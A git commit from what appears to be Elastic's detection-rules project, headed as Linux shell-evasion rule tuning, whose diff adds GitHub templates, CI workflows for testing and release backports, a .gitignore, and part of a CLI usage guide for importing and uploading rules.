commit 150ff0502ee066d138c0b33f03fae2f5c4302c81 Author: Colson Wilhoit <48036388+DefSecSentinel@users.noreply.github.com> Date: Tue Mar 29 09:16:21 2022 -0500 Linux Shell Evasion Rule Tuning (#1878) * Linux Shell Evasion Rule Tuning * Update execution_python_tty_shell.toml * Update rules/linux/execution_apt_binary.toml Co-authored-by: Justin Ibarra * Update rules/linux/execution_apt_binary.toml * Update rules/linux/execution_awk_binary_shell.toml Co-authored-by: Justin Ibarra * Update rules/linux/execution_awk_binary_shell.toml * Update rules/linux/execution_c89_c99_binary.toml Co-authored-by: Justin Ibarra * Update rules/linux/execution_c89_c99_binary.toml * Update rules/linux/execution_cpulimit_binary.toml Co-authored-by: Justin Ibarra * Update rules/linux/execution_cpulimit_binary.toml * Update rules/linux/execution_expect_binary.toml Co-authored-by: Justin Ibarra * Update rules/linux/execution_expect_binary.toml Co-authored-by: Justin Ibarra * Update rules/linux/execution_expect_binary.toml * Update rules/linux/execution_find_binary.toml Co-authored-by: Justin Ibarra * Update rules/linux/execution_find_binary.toml * Update rules/linux/execution_gcc_binary.toml Co-authored-by: Justin Ibarra * Update rules/linux/execution_gcc_binary.toml * Update rules/linux/execution_mysql_binary.toml Co-authored-by: Justin Ibarra * Update rules/linux/execution_mysql_binary.toml * Update rules/linux/execution_nice_binary.toml Co-authored-by: Justin Ibarra * Update rules/linux/execution_nice_binary.toml * Update rules/linux/execution_ssh_binary.toml Co-authored-by: Justin Ibarra * Update rules/linux/execution_ssh_binary.toml * Update execution_perl_tty_shell.toml * Update execution_python_tty_shell.toml * Update rules/linux/execution_apt_binary.toml Co-authored-by: Justin Ibarra * Update rules/linux/execution_awk_binary_shell.toml Co-authored-by: Justin Ibarra * Update rules/linux/execution_c89_c99_binary.toml Co-authored-by: Justin Ibarra * Update rules/linux/execution_cpulimit_binary.toml Co-authored-by: Justin Ibarra * Update rules/linux/execution_expect_binary.toml Co-authored-by: Justin Ibarra * Update rules/linux/execution_find_binary.toml Co-authored-by: Justin Ibarra * Update rules/linux/execution_gcc_binary.toml Co-authored-by: Justin Ibarra * Update rules/linux/execution_mysql_binary.toml Co-authored-by: Justin Ibarra * Update rules/linux/execution_nice_binary.toml Co-authored-by: Justin Ibarra * Update rules/linux/execution_ssh_binary.toml Co-authored-by: Justin Ibarra Co-authored-by: Justin Ibarra diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS new file mode 100644 index 000000000..142cedc6f --- /dev/null +++ b/.github/CODEOWNERS @@ -0,0 +1,13 @@ +# detection-rules code owners +# POC: Elastic Security Intelligence and Analytics Team + +tests/**/*.py @brokensound77 @rw-access +detection_rules/ @brokensound77 @rw-access +tests/ @brokensound77 @rw-access + +# skip rta-mapping to avoid the spam +etc/packages.yml @brokensound77 @rw-access +etc/*.json @brokensound77 @rw-access +etc/*.json @brokensound77 @rw-access +etc/*/* @brokensound77 @rw-access + diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 000000000..270a3e123 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,31 @@ +--- +name: Bug report +about: Report a bug to report for the python/testing parts of Detection Rules +title: "[Bug]" +labels: bug +assignees: '' + +--- + +**Describe the bug** +A clear and concise description of what the bug is. + +**To Reproduce** +Steps to reproduce the behavior: +1. Go to '...' +2. Click on '....' +3. Scroll down to '....' +4. See error + +**Expected behavior** +A clear and concise description of what you expected to happen. + +**Screenshots** +If applicable, add screenshots to help explain your problem. + +**Desktop (please complete the following information):** + - OS: + - Version: + +**Additional context** +Add any other context about the problem here. diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 000000000..54a3abe34 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,20 @@ +--- +name: Feature request +about: "Suggest an idea for this project (Note: this does not include rule logic)" +title: "[FR]" +labels: enhancement +assignees: '' + +--- + +**Is your feature request related to a problem? Please describe.** +A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] + +**Describe the solution you'd like** +A clear and concise description of what you want to happen. + +**Describe alternatives you've considered** +A clear and concise description of any alternative solutions or features you've considered. + +**Additional context** +Add any other context or screenshots about the feature request here. diff --git a/.github/ISSUE_TEMPLATE/integration-oob-updates.md b/.github/ISSUE_TEMPLATE/integration-oob-updates.md new file mode 100644 index 000000000..c4d573a87 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/integration-oob-updates.md @@ -0,0 +1,39 @@ +--- +name: Integration (OOB) updates +about: Template used by Elastic team to release updates to fleet integration package +title: "[Integration Release] " +labels: fleet-release +assignees: '' + +--- + +# OOB Fleet integration release + +### Release branch + +* + + +## Checklist + + + + +### Prep +- [ ] complete `updates to kibana` +- [ ] tag the locked commit (ex `integration-vx.x.x`) + +### Release package +- [ ] integrations PR +- [ ] package-storage promotion to `production` PR +- [ ] `Pipeline Release Package Distribution` job +- [ ] production `epr` + +### Updates +- [ ] security-docs PR +- [ ] newsfeed PR \ No newline at end of file diff --git a/.github/ISSUE_TEMPLATE/kibana-updates.md b/.github/ISSUE_TEMPLATE/kibana-updates.md new file mode 100644 index 000000000..e5c4b0d79 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/kibana-updates.md @@ -0,0 +1,28 @@ +--- +name: Kibana updates +about: Template used by Elastic team to push rule updates to Kibana +title: "[Kibana Updates] to kibana:" +labels: kibana-updates +assignees: '' + +--- + +# Kibana updates + +- [ ] check if this the final push to the respective Kibana release branch + + +### Which Kibana branches will this backport to? + +* + +## Checklist + + +- [ ] lock versions +- [ ] PR rules updates to Kibana + + +## Additional if this is the final push targeting a respective Kibana release branch +- [ ] create a tag for the branch from the locked versions commit (ex: `v7.15.0`) +- [ ] update security-docs with rule changes \ No newline at end of file diff --git a/.github/ISSUE_TEMPLATE/new_rule.md b/.github/ISSUE_TEMPLATE/new_rule.md new file mode 100644 index 000000000..b594bbe7a --- /dev/null +++ b/.github/ISSUE_TEMPLATE/new_rule.md @@ -0,0 +1,47 @@ +--- +name: New rule +about: Suggestions and ideas for new rules +title: "[New Rule] Name of rule" +labels: "Rule: New" +assignees: '' + +--- + + + +## Description + + + +## Required Info + +### Target indexes + + +### Additional requirements + + +### Target Operating Systems + + +### Platforms + + +### Tested ECS Version +x.x.x + + +## Optional Info + +### Query + +### New fields required in ECS/data sources for this rule? + +### Related issues or PRs + +### References + + + +## Example Data + diff --git a/.github/ISSUE_TEMPLATE/rule_deprecation.md b/.github/ISSUE_TEMPLATE/rule_deprecation.md new file mode 100644 index 000000000..267239ed3 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/rule_deprecation.md @@ -0,0 +1,15 @@ +--- +name: Rule deprecation +about: Recommendation to deprecate a rule +title: "[Deprecation] Name of the rule" +labels: "Rule: Deprecation" +assignees: '' + +--- + +## Link to rule + + +## Description + +Provide a detailed description of why the rule should be deprecated diff --git a/.github/ISSUE_TEMPLATE/rule_tuning.md b/.github/ISSUE_TEMPLATE/rule_tuning.md new file mode 100644 index 000000000..1e695fdaf --- /dev/null +++ b/.github/ISSUE_TEMPLATE/rule_tuning.md @@ -0,0 +1,19 @@ +--- +name: Tune existing rule +about: Suggestion for logic changes to an existing rule +title: "[Rule Tuning] Name of rule" +labels: "Rule: Tuning" +assignees: '' + +--- + + + +## Link to rule + + +## Description + + +## Example Data + diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 000000000..69f2581b5 --- /dev/null +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1,18 @@ + + +## Issues + + +## Summary + + + +## Contributor checklist + +- Have you signed the [contributor license agreement](https://www.elastic.co/contributor-agreement)? +- Have you followed the [contributor guidelines](https://github.com/elastic/detection-rules/blob/main/CONTRIBUTING.md)? diff --git a/.github/paths-labeller.yml b/.github/paths-labeller.yml new file mode 100644 index 000000000..024c69908 --- /dev/null +++ b/.github/paths-labeller.yml @@ -0,0 +1,59 @@ +--- +- "documentation": + - "./**/*.md" +- "schema": + - "detection_rules/beats.py" + - "etc/beats_schemas/**/*" + - "detection_rules/ecs.py" + - "etc/ecs_schemas/**/*" + - "etc/api_schemas/**/*" + - "detection_rules/schemas/**/*" +- "python": + - "detection_rules/**/*.py" + - "kibana/**/*.py" + - "kql/**/*.py" +- "RTA": + - "rta/**/*" + +# rules +- "Domain: Cloud": + - "rules/integrations/aws/**/*.toml" + - "rules/integrations/azure/**/*.toml" + - "rules/integrations/cyberarkpas/**/*.toml" + - "rules/integrations/gcp/**/*.toml" + - "rules/integrations/google_workspace/**/*.toml" + - "rules/integrations/o365/**/*.toml" + - "rules/integrations/okta/**/*.toml" +- "Domain: Endpoint": + - "rules/windows/**/*.toml" + - "rules/linux/**/*.toml" + - "rules/macos/**/*.toml" +- "ML": + - "rules/ml/**/*.toml" + - "rules/**/ml_*.toml" +- "OS: Linux": + - "rules/linux/**/*.toml" +- "OS: macOS": + - "rules/macos/**/*.toml" +- "OS: Windows": + - "rules/windows/**/*.toml" +- "Integration: AWS": + - "rules/integrations/aws/**/*.toml" +- "Integration: Azure": + - "rules/integrations/azure/**/*.toml" +- "Integration: Crowdstrike": + - "rules/integrations/crowdstrike/**/*.toml" +- "Integration: CyberArkPas": + - "rules/integrations/cyberarkpas/**/*.toml" +- "Integration: Endpoint": + - "rules/integrations/endpoint/**/*.toml" +- "Integration: GCP": + - "rules/integrations/gcp/**/*.toml" +- "Integration: Google Workspace": + - "rules/integrations/google_workspace/**/*.toml" +- "Integration: Microsoft 365": + - "rules/integrations/o365/**/*.toml" +- "Integration: Okta": + - "rules/integrations/okta/**/*.toml" +- "Rule: Deprecation": + - "rules/_deprecated/**/*" diff --git a/.github/stale.yml b/.github/stale.yml new file mode 100644 index 000000000..23c289951 --- /dev/null +++ b/.github/stale.yml @@ -0,0 +1,59 @@ +# Number of days of inactivity before an Issue or Pull Request becomes stale +daysUntilStale: 60 + +# Number of days of inactivity before an Issue or Pull Request with the stale label is closed. +# Set to false to disable. If disabled, issues still need to be closed manually, but will remain marked as stale. +daysUntilClose: 7 + +# Only issues or pull requests with all of these labels are checked if stale. Defaults to `[]` (disabled) +onlyLabels: [] + +# Issues or Pull Requests with these labels will never be considered stale. Set to `[]` to disable +exemptLabels: + - bug + - backlog + +# Set to true to ignore issues in a project (defaults to false) +exemptProjects: false + +# Set to true to ignore issues in a milestone (defaults to false) +exemptMilestones: false + +# Set to true to ignore issues with an assignee (defaults to false) +exemptAssignees: false + +# Label to use when marking as stale +staleLabel: stale + +# Comment to post when marking as stale. Set to `false` to disable +markComment: > + This issue has been automatically marked as stale because it has not had + recent activity. It will be closed if no further activity occurs. Thank you + for your contributions. + +# Comment to post when removing the stale label. +# unmarkComment: > +# Your comment here. + +# Comment to post when closing a stale Issue or Pull Request. +closeComment: > + This has been closed due to inactivity. If you feel this is an error, + please re-open and include a justifying comment. + +# Limit the number of actions per hour, from 1-30. Default is 30 +limitPerRun: 30 + +# Limit to only `issues` or `pulls` +# only: issues + +# Optionally, specify configuration settings that are specific to just 'issues' or 'pulls': +# pulls: +# daysUntilStale: 30 +# markComment: > +# This pull request has been automatically marked as stale because it has not had +# recent activity. It will be closed if no further activity occurs. Thank you +# for your contributions. + +# issues: +# exemptLabels: +# - confirmed diff --git a/.github/workflows/backport.yml b/.github/workflows/backport.yml new file mode 100644 index 000000000..b70df8270 --- /dev/null +++ b/.github/workflows/backport.yml @@ -0,0 +1,155 @@ +name: backport +on: + pull_request_target: + branches: + - main + types: + - opened + - reopened + - unlabeled + - labeled + - closed + +jobs: + label: + runs-on: ubuntu-latest + if: | + github.event.pull_request.state == 'open' && !github.event.pull_request.draft + steps: + - name: 'Apply default "backport: auto" label' + uses: actions/github-script@v4 + if: | + !contains(github.event.pull_request.labels.*.name, 'backport: auto') && + !contains(github.event.pull_request.labels.*.name, 'backport: skip') + with: + script: | + github.issues.addLabels({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + labels: ['backport: auto'] + }) + - name: 'Remove "backport: auto" if "backport: skip" is set' + uses: actions/github-script@v4 + if: | + contains(github.event.pull_request.labels.*.name, 'backport: auto') && + contains(github.event.pull_request.labels.*.name, 'backport: skip') + with: + script: | + github.issues.removeLabel({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + name: 'backport: auto' + }) + + commit: + if: | + github.event.pull_request.merged == true + && contains(github.event.pull_request.labels.*.name, 'backport: auto') + && ( + (github.event.action == 'labeled' && github.event.label.name == 'backport: auto') + || (github.event.action == 'closed') + ) + runs-on: ubuntu-latest + strategy: + max-parallel: 1 + matrix: + # 7.17 was intentionally skipped because it was added late and was bug fix only + target_branch: [7.13, 7.14, 7.15, 7.16, '8.0', 8.1] + + steps: + - name: Checkout repo + uses: actions/checkout@v2 + with: + token: ${{ secrets.PROTECTIONS_MACHINE_TOKEN }} + ref: main + + - name: Set github config + run: | + git config --global user.email "41898282+github-actions[bot]@users.noreply.github.com" + git config --global user.name "github-actions[bot]" + + - name: Get branch histories + run: | + git fetch origin main --depth 100 + git fetch origin ${{matrix.target_branch}} --depth 1 + git status + git log -1 --format='%H' + + - name: Checkout the commit into the staging area + run: | + # Checkout the merged commit + git checkout ${{github.event.pull_request.merge_commit_sha}} + + # Move it to the staging area + git reset --soft HEAD^ + + - name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install -r requirements.txt -r requirements-dev.txt + + - name: Prune non-${{matrix.target_branch}} rules + env: + UNSTAGED_LIST_FILE: "../unstaged-rules.txt" + run: | + python -m detection_rules dev unstage-incompatible-rules --target-stack-version ${{matrix.target_branch}} + + # Track which rules were unstaged + git diff --name-only > $UNSTAGED_LIST_FILE + + # Since they've been tracked, remove any untracked files + git checkout -- . + + - name: Commit and push to ${{matrix.target_branch}} + env: + COMMIT_MSG_FILE: "../commit-message.txt" + UNSTAGED_LIST_FILE: "../unstaged-rules.txt" + run: | + set -x + + echo "Switch to the target branch and keep the staged changes" + git checkout ${{matrix.target_branch}} + + NEEDS_BACKPORT=$(git diff HEAD --quiet --exit-code && echo n || echo y) + + if [ "n" = "$NEEDS_BACKPORT" ] + then + echo "No changes to backport" + exit 0 + fi + + echo "Create the new commit with the same author" + git commit --reuse-message ${{github.event.pull_request.merge_commit_sha}} + + echo "Save the commit message" + git log ${{github.event.pull_request.merge_commit_sha}} --format=%B -n1 > $COMMIT_MSG_FILE + + echo "Append to the commit message" + if [ -s "$UNSTAGED_LIST_FILE" ] + then + echo "Track note for the removed files" + + echo "" >> $COMMIT_MSG_FILE + echo "Removed changes from:" >> $COMMIT_MSG_FILE + awk '{print "- " $0}' $UNSTAGED_LIST_FILE >> $COMMIT_MSG_FILE + echo "" >> $COMMIT_MSG_FILE + echo '(selectively cherry picked from commit ${{github.event.pull_request.merge_commit_sha}})' >> $COMMIT_MSG_FILE + else + echo "No removed files" + + echo "" >> $COMMIT_MSG_FILE + echo '(cherry picked from commit ${{github.event.pull_request.merge_commit_sha}})' >> $COMMIT_MSG_FILE + fi + + echo "Amend the commit message and push" + git commit --amend -F $COMMIT_MSG_FILE + git push + + - name: "Notify slack on failure" + uses: craftech-io/slack-action@v1 + with: + slack_webhook_url: ${{ secrets.SLACK_WEBHOOK_URL }} + status: failure + if: failure() diff --git a/.github/workflows/community.yml b/.github/workflows/community.yml new file mode 100644 index 000000000..f6beebde4 --- /dev/null +++ b/.github/workflows/community.yml @@ -0,0 +1,43 @@ +name: Community + +on: + pull_request_target: + types: + - opened + issues: + types: + - opened +jobs: + label: + runs-on: ubuntu-latest + steps: + - name: Check if member of elastic org + uses: actions/github-script@v4 + id: membership + with: + github-token: ${{ secrets.READ_ORG_TOKEN }} + result-encoding: string + script: | + const result = await github.orgs.getMembershipForUser({ + org: "elastic", + username: context.payload.sender.login + }) + console.log(result.data.state) + if (result.data.state == "active"){ + console.log("%s: detected as an active member of elastic org", context.payload.sender.login) + return "member" + } else { + console.log("%s: not detected as active member of elastic org", context.payload.sender.login) + return "notMember" + } + - name: Add label for community members + uses: actions/github-script@v4 + if: ${{ steps.membership.outputs.result == 'notMember' }} + with: + script: | + github.issues.addLabels({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + labels: ['community'] + }) diff --git a/.github/workflows/lock-versions.yml b/.github/workflows/lock-versions.yml new file mode 100644 index 000000000..136b79ee8 --- /dev/null +++ b/.github/workflows/lock-versions.yml @@ -0,0 +1,75 @@ +name: lock-versions +on: + workflow_dispatch: + inputs: + branches: + description: 'List of branches to lock versions (ordered, comma separated)' + required: true + # 7.17 was intentionally skipped because it was added late and was bug fix only + default: '7.13,7.14,7.15,7.16,8.0,8.1' + +jobs: + pr: + runs-on: ubuntu-latest + + steps: + - name: Validate the source branch + uses: actions/github-script@v3 + with: + script: | + if ('refs/heads/main' !== '${{github.event.ref}}') { + core.setFailed('Forbidden branch, expected "main"') + } + + - name: Checkout detection-rules + uses: actions/checkout@v2 + with: + fetch-depth: 0 + + - name: Set up Python 3.8 + uses: actions/setup-python@v2 + with: + python-version: 3.8 + + - name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install -r requirements.txt -r requirements-dev.txt + + - name: Build release package + run: | + python -m detection_rules dev build-release + + - name: Set github config + run: | + git config --global user.email "72879786+protectionsmachine@users.noreply.github.com" + git config --global user.name "protectionsmachine" + + - name: Lock the versions + env: + BRANCHES: "${{github.event.inputs.branches}}" + run: | + ./etc/lock-multiple.sh $BRANCHES + git add etc/version.lock.json + + - name: Create Pull Request + uses: peter-evans/create-pull-request@v3 + with: + assignees: '${{github.actor}}' + delete-branch: true + branch: "version-lock" + commit-message: "Locked versions for releases: ${{github.event.inputs.branches}}" + branch-suffix: "short-commit-hash" + title: 'Lock versions for releases: ${{github.event.inputs.branches}}' + body: | + Lock versions for releases: ${{github.event.inputs.branches}}. + + - Autogenerated from job `lock-versions: pr`. + labels: "backport: auto" + + - name: Archive production artifacts + uses: actions/upload-artifact@v2 + with: + name: release-files + path: | + releases diff --git a/.github/workflows/pythonpackage.yml b/.github/workflows/pythonpackage.yml new file mode 100644 index 000000000..1a91cb3d1 --- /dev/null +++ b/.github/workflows/pythonpackage.yml @@ -0,0 +1,59 @@ +name: Unit Tests + +on: + push: + branches: [ "main", "7.*", "8.*" ] + pull_request: + branches: [ "*" ] + +jobs: + build: + + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v2 + + - name: Set up Python 3.8 + uses: actions/setup-python@v2 + with: + python-version: 3.8 + + - name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install -r requirements.txt + + - name: Python Lint + run: | + python -m flake8 tests detection_rules --ignore D203 --max-line-length 120 + + - name: Python License Check + run: | + python -m detection_rules dev license-check + + - name: Build release package + env: + # only generate the navigator files on push events to main + GENERATE_NAVIGATOR_FILES: "${{ github.event_name == 'push' && github.ref == 'refs/heads/main' && '--generate-navigator' || ' ' }}" + run: | + python -m detection_rules dev build-release $GENERATE_NAVIGATOR_FILES + + - name: Archive production artifacts for branch builds + uses: actions/upload-artifact@v2 + if: | + github.event_name == 'push' + with: + name: release-files + path: | + releases + + - name: Unit tests + run: | + python -m detection_rules test + + - name: Update navigator gist files + env: + GITHUB_TOKEN: "${{ secrets.NAVIGATOR_GIST_TOKEN }}" + if: ${{ github.event_name == 'push' && github.ref == 'refs/heads/main' }} + run: python -m detection_rules dev update-navigator-gists diff --git a/.github/workflows/release-fleet.yml b/.github/workflows/release-fleet.yml new file mode 100644 index 000000000..cabb1e869 --- /dev/null +++ b/.github/workflows/release-fleet.yml @@ -0,0 +1,94 @@ +name: release-fleet +on: + workflow_dispatch: + inputs: + target_repo: + description: 'Target repository to build a PR against' + required: true + default: 'elastic/integrations' + target_branch: + description: 'Target branch for PR base' + required: true + default: 'master' + draft: + description: 'Create a PR as draft (y/n)' + required: false + +jobs: + fleet-pr: + runs-on: ubuntu-latest + + steps: + - name: Validate the source branch + uses: actions/github-script@v3 + with: + script: | + if ('refs/heads/main' === '${{github.ref}}') { + core.setFailed('Forbidden branch') + } + + - name: Checkout detection-rules + uses: actions/checkout@v2 + with: + path: detection-rules + + - name: Checkout elastic/integrations + uses: actions/checkout@v2 + with: + token: ${{ secrets.PROTECTIONS_MACHINE_TOKEN }} + ref: ${{github.event.inputs.target_branch}} + repository: ${{github.event.inputs.target_repo}} + path: integrations + + - name: Set up Python 3.8 + uses: actions/setup-python@v2 + with: + python-version: 3.8 + + - name: Install Python dependencies + run: | + cd detection-rules + python -m pip install --upgrade pip + pip install -r requirements.txt -r requirements-dev.txt + + - name: Build release package + run: | + cd detection-rules + python -m detection_rules dev build-release + + - name: Set github config + run: | + git config --global user.email "72879786+protectionsmachine@users.noreply.github.com" + git config --global user.name "protectionsmachine" + + - name: Setup go + uses: actions/setup-go@v2 + with: + go-version: '^1.16.0' + + - name: Build elastic-package + run: | + go get github.com/elastic/elastic-package + + - name: Create the PR to Integrations + env: + DRAFT_ARGS: "${{startsWith(github.event.inputs.draft,'y') && '--draft' || ' '}}" + TARGET_REPO: "${{github.event.inputs.target_repo}}" + TARGET_BRANCH: "${{github.event.inputs.target_branch}}" + LOCAL_REPO: "../integrations" + GITHUB_TOKEN: "${{ secrets.PROTECTIONS_MACHINE_TOKEN }}" + run: | + cd detection-rules + python -m detection_rules dev integrations-pr \ + $LOCAL_REPO \ + --github-repo $TARGET_REPO \ + --base-branch $TARGET_BRANCH \ + --assign ${{github.actor}} \ + $DRAFT_ARGS + + - name: Archive production artifacts + uses: actions/upload-artifact@v2 + with: + name: release-files + path: | + detection-rules/releases diff --git a/.github/workflows/release-kibana.yml b/.github/workflows/release-kibana.yml new file mode 100644 index 000000000..7d7127524 --- /dev/null +++ b/.github/workflows/release-kibana.yml @@ -0,0 +1,71 @@ +name: release-kibana +on: + workflow_dispatch: + inputs: + kibana_branch: + description: 'Target branch for a Kibana PR' + required: true + default: 'master' + labels: + description: 'Labels to assign to the PR (comma-separated)' + required: true + default: 'release_note:skip,release_note:enhancement,auto-backport' + draft: + description: 'Create a PR as draft (y/n)' + required: false + +jobs: + kibana-pr: + runs-on: ubuntu-latest + + steps: + - name: Checkout detection-rules + uses: actions/checkout@v2 + with: + path: detection-rules + + - name: Checkout Kibana + uses: actions/checkout@v2 + with: + token: ${{ secrets.PROTECTIONS_MACHINE_TOKEN }} + ref: ${{github.event.inputs.kibana_branch}} + repository: elastic/kibana + path: kibana + + - name: Set up Python 3.8 + uses: actions/setup-python@v2 + with: + python-version: 3.8 + + - name: Install dependencies + run: | + cd detection-rules + python -m pip install --upgrade pip + pip install -r requirements.txt -r requirements-dev.txt + + - name: Build release package + run: | + cd detection-rules + python -m detection_rules dev build-release + + - name: Set github config + run: | + git config --global user.email "72879786+protectionsmachine@users.noreply.github.com" + git config --global user.name "protectionsmachine" + + - name: Create the PR to Kibana + env: + DRAFT_ARGS: "${{startsWith(github.event.inputs.draft,'y') && '--draft' || ' '}}" + LABEL_ARGS: "--label ${{github.event.inputs.labels}}" + BRANCH_ARGS: "--base-branch ${{github.event.inputs.kibana_branch}}" + GITHUB_TOKEN: "${{ secrets.PROTECTIONS_MACHINE_TOKEN }}" + run: | + cd detection-rules + python -m detection_rules dev kibana-pr --assign ${{github.actor}} $LABEL_ARGS $DRAFT_ARGS $BRANCH_ARGS + + - name: Archive production artifacts for branch builds + uses: actions/upload-artifact@v2 + with: + name: release-files + path: | + detection-rules/releases \ No newline at end of file diff --git a/.gitignore b/.gitignore new file mode 100644 index 000000000..302d627cd --- /dev/null +++ b/.gitignore @@ -0,0 +1,117 @@ + +.DS_Store +/.DS_STORE +/*.zip +/*.csv +/*.json +/data +/*.yml +/config +/junit.xml + +# PyCharm +/.idea/ + +# VSCode +/.vscode/ + +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +env/ +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +*.egg-info/ +.installed.cfg +*.egg + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*,cover +.hypothesis/ + +# Translations +*.mo +*.pot + +# Django stuff: +local_settings.py + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +target/ + +# IPython Notebook +.ipynb_checkpoints + +# pyenv +.python-version + +# celery beat schedule file +celerybeat-schedule + +# dotenv +.env + +# virtualenv +venv*/ +.venv/ +ENV/ + +# Spyder project settings +.spyderproject + +# Rope project settings +.ropeproject +/_extras/ + +# detection rules +.detection-rules-cfg.* +releases/ +collections/ +enriched-rule-indexes/ +exports/ +ML-models/ +surveys/ +machine-learning/ diff --git a/CLI.md b/CLI.md new file mode 100644 index 000000000..baea6c8da --- /dev/null +++ b/CLI.md @@ -0,0 +1,233 @@ +# Command Line Interface (CLI) + +This covers more advanced CLI use cases and workflows. To [get started](README.md#getting-started) with the CLI, reference +the [README](README.md). Basic use of the CLI such as [creating a rule](CONTRIBUTING.md#creating-a-rule-with-the-cli) or +[testing](CONTRIBUTING.md#testing-a-rule-with-the-cli) are referenced in the [contribution guide](CONTRIBUTING.md). + + +## Using a config file or environment variables + +CLI commands which are tied to Kibana and Elasticsearch are capable of parsing auth-related keyword args from a config +file or environment variables. + +If a value is set in multiple places, such as config file and environment variable, the order of precedence will be as +follows: +* explicitly passed args (such as `--user joe`) +* environment variables +* config values +* prompt (this only applies to certain values) + +#### Setup a config file + +In the root directory of this repo, create the file `.detection-rules-cfg.json` and add relevant values + +Currently supported arguments: +* elasticsearch_url +* kibana_url +* cloud_id +* *_username (kibana and es) +* *_password (kibana and es) + +#### Using environment variables + +Environment variables using the argument format: `DR_` will be parsed in commands which expect it. +EX: `DR_USER=joe` + +## Importing rules into the repo + +You can import rules into the repo using the `create-rule` or `import-rules` commands. Both of these commands will +require that the rules are schema-compliant and able to pass full validation. The biggest benefit to using these +commands is that they will strip[*](#note) additional fields[**](#note-2) and prompt for missing required +fields. + +Alternatively, you can manually place rule files in the directory and run tests to validate as well. + +\* Note: This is currently limited to flat fields and may not apply to nested values.
+\** Note: Additional fields are based on the current schema at the time the command is used. + + +#### `create-rule` + +```console +Usage: detection_rules create-rule [OPTIONS] PATH + + Create a detection rule. + +Options: + -c, --config FILE Rule or config file + --required-only Only prompt for required fields + -t, --rule-type [machine_learning|saved_query|query|threshold] + Type of rule to create + -h, --help Show this message and exit. +``` + +This command will allow you to pass a rule file using the `-c/--config` parameter. This is limited to one rule at a time +and will accept any valid rule in the following formats: +* toml +* json +* yaml (yup) +* ndjson (as long as it contains only a single rule and has the extension `.ndjson` or `.jsonl`) + +#### `import-rules` + +```console +Usage: detection_rules import-rules [OPTIONS] [INPUT_FILE]... + + Import rules from json, toml, or Kibana exported rule file(s). + +Options: + -d, --directory DIRECTORY Load files from a directory + -h, --help Show this message and exit. +``` + +The primary advantage of using this command is the ability to import multiple rules at once. Multiple rule paths can be +specified explicitly with unlimited arguments, recursively within a directory using `-d/--directory`[*](#note-3), or +a combination of both. + +In addition to the formats mentioned using `create-rule`, this will also accept an `.ndjson`/`jsonl` file +containing multiple rules (as would be the case with a bulk export). + +This will also strip additional fields and prompt for missing required fields. + +\* Note: This will attempt to parse ALL files recursively within a specified directory. + + +## Commands using Elasticsearch and Kibana clients + +Commands which connect to Elasticsearch or Kibana are embedded under the subcommands: +* es +* kibana + +These command groups will leverage their respective clients and will automatically use parsed config options if +defined, otherwise arguments should be passed to the sub-command as: + +`python -m detection-rules kibana -u -p upload-rule <...>` + +```console +python -m detection_rules es -h + +Usage: detection_rules es [OPTIONS] COMMAND [ARGS]... + + Commands for integrating with Elasticsearch. + +Options: + -et, --timeout INTEGER Timeout for elasticsearch client + -ep, --es-password TEXT + -eu, --es-user TEXT + --cloud-id TEXT + -e, --elasticsearch-url TEXT + -h, --help Show this message and exit. + +Commands: + collect-events Collect events from Elasticsearch. +``` + +```console +python -m detection_rules kibana -h + +Usage: detection_rules kibana [OPTIONS] COMMAND [ARGS]... + + Commands for integrating with Kibana. + +Options: + --space TEXT Kibana space + -kp, --kibana-password TEXT + -ku, --kibana-user TEXT + --cloud-id TEXT + -k, --kibana-url TEXT + -h, --help Show this message and exit. + +Commands: + upload-rule Upload a list of rule .toml files to Kibana. +``` + + +## Uploading rules to Kibana + +Toml formatted rule files can be uploaded as custom rules using the `kibana upload-rule` command. To upload more than one +file, specify multiple files at a time as individual args. This command is meant to support uploading and testing of +rules and is not intended for production use in its current state. + +```console +python -m detection_rules kibana upload-rule -h + +Kibana client: +Options: + --space TEXT Kibana space + -kp, --kibana-password TEXT + -ku, --kibana-user TEXT + --cloud-id TEXT + -k, --kibana-url TEXT + +Usage: detection_rules kibana upload-rule [OPTIONS] + + Upload a list of rule .toml files to Kibana. + +Options: + -f, --rule-file FILE + -d, --directory DIRECTORY Recursively export rules from a directory + -id, --rule-id TEXT + -r, --replace-id Replace rule IDs with new IDs before export + -h, --help Show this message and exit. +(detection-rules-build) (base) ➜ detection-rules git:(rule-loader) ✗ +``` + +Alternatively, rules can be exported into a consolidated ndjson file which can be imported in the Kibana security app +directly. + +```console +Usage: detection_rules export-rules [OPTIONS] + + Export rule(s) into an importable ndjson file. + +Options: + -f, --rule-file FILE + -d, --directory DIRECTORY Recursively export rules from a directory + -id, 